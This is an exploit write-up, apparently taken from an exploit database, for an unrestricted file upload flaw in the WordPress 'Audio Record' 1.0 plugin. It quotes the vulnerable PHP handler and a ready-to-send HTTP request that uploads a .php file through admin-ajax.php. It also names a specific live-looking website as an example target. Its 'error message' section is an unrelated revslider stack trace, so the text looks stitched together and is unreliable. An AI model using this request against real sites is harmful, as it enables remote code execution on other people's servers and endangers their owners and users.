Exploit Title: WordPress Plugin Audio Record 1.0 - Arbitrary File Upload
Software Link: https://wordpress.org/plugins/audio-record/
Exploit Author: The Mechiavellian
Exploit Author Facebook : facebook.com/TheMachiavellian/
special thank to : https://kaimi.io
Version: 1.0
Category: webapps
Unrestricted file upload in record upload process allowing arbitrary extension.
File: recorder.php
>>Vulnerable code:
function save_record_callback() {
foreach(array('audio') as $type) {
if (isset($_FILES["${type}-blob"])) {
$fileName = uniqid() . '_' .$_POST["${type}-filename"] ;
$path_array = wp_upload_dir();
$path = str_replace('\\', '/', $path_array['path']);
$uploadDirectory = $path . "/$fileName";
if (!move_uploaded_file($_FILES["${type}-blob"]["tmp_name"], $uploadDirectory)) {
echo 000;
wp_die("problem moving uploaded file");
}
>>Error message :
Fatal error: Uncaught Error: [] operator not supported for strings in /www/wp-content/plugins/revslider/includes/framework/base-admin.class.php:71 Stack trace: #0 /www/wp-content/plugins/revslider/admin/revslider-admin.class.php(572): RevSliderBaseAdmin::addMetaBox('Revolution Slid...', '', Array, NULL) #1 /www/wp-content/plugins/revslider/admin/revslider-admin.class.php(73): RevSliderAdmin->addSliderMetaBox() #2 /www/wp-content/plugins/revslider/admin/revslider-admin.class.php(44): RevSliderAdmin->init() #3 /www/wp-content/plugins/revslider/revslider.php(162): RevSliderAdmin->__construct('/www/wp-content...') #4 /www/wp-settings.php(305): include_once('/www/wp-content...') #5 /www/wp-config.php(98): require_once('/www/wp-setting...') #6 /www/wp-load.php(37): require_once('/www/wp-config....') #7 /www/wp-admin/admin-ajax.php(22): require_once('/www/wp-load.ph...') #8 {main} thrown in /www/wp-content/plugins/revslider/includes/framework/base-admin.class.php on line 71
>>Exploitation example:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=---------------------------18311719029180117571501079851
...
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="audio-filename"
file.php
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="audio-blob"; filename="blob"
Content-Type: audio/wav
<?php phpinfo();
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="action"
save_record
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="course_id"
undefined
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="unit_id"
undefined
-----------------------------18311719029180117571501079851--
Examples :
[+] http://www.slotenmakermaarten.nl/wp-admin/admin-ajax.php
follow me in : https://www.facebook.com/TheMachiavellian/
